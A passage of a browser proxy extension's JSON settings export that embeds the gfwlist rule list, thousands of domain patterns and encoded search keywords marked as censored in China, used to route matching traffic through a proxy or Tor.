org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 Tor\":{\"color\":\"#9ce\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.656Z\",\"matchProfileName\":\"Tor for 9050\",\"name\":\"__ruleListOf_自动切换 Tor\",\"profileType\":\"RuleListProfile\",\"revision\":\"151ddd6386d\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\